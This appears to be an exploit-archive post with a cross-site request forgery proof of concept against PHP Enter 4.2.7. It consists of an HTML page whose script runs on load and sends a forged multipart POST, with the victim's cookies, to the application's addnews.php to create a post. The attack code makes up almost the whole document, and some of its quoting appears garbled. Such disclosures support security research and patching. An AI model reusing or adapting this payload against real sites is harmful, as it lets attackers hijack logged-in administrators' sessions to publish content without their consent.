phpEnter 4.2.7 Cross Site Request Forgery
Posted on 13 October 2016
<!-- # Exploit Title : PHP Enter 4.2.7 - Cross-Site Request Forgery (Add New Post) # Author : Besim # Google Dork : - # Date : 11/10/2016 # Type : webapps # Platform : PHP # Vendor Homepage : http://www.phpenter.net # Software link : http://www.hotscripts.com/listings/jump/download/150217 ########################### CSRF PoC ############################### --> <html> <!-- CSRF PoC --> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://site_name/path/addnews.php", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------4485886114928592041224662482"); xhr.withCredentials = true; var body = "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="univer" " + " " + "2016074155 " + "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="idblog" " + " " + "1 " + "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="usercc" " + " " + "root " + "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="editor" " + " " + "1 " + "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="badress" " + " " + "0 " + "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="bname" " + " " + "Test " + "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="summary" " + " " + "Test " + "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="image"; filename="" " + "Content-Type: application/octet-stream " + " " + " " + "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="main" " + " " + "0 " + "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="amess" " + " " + "x3cpx3eTesttttx3c/px3e " + "-----------------------------4485886114928592041224662482 " + "Content-Disposition: form-data; name="query" " + " " + "Submit " + "-----------------------------4485886114928592041224662482-- "; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html>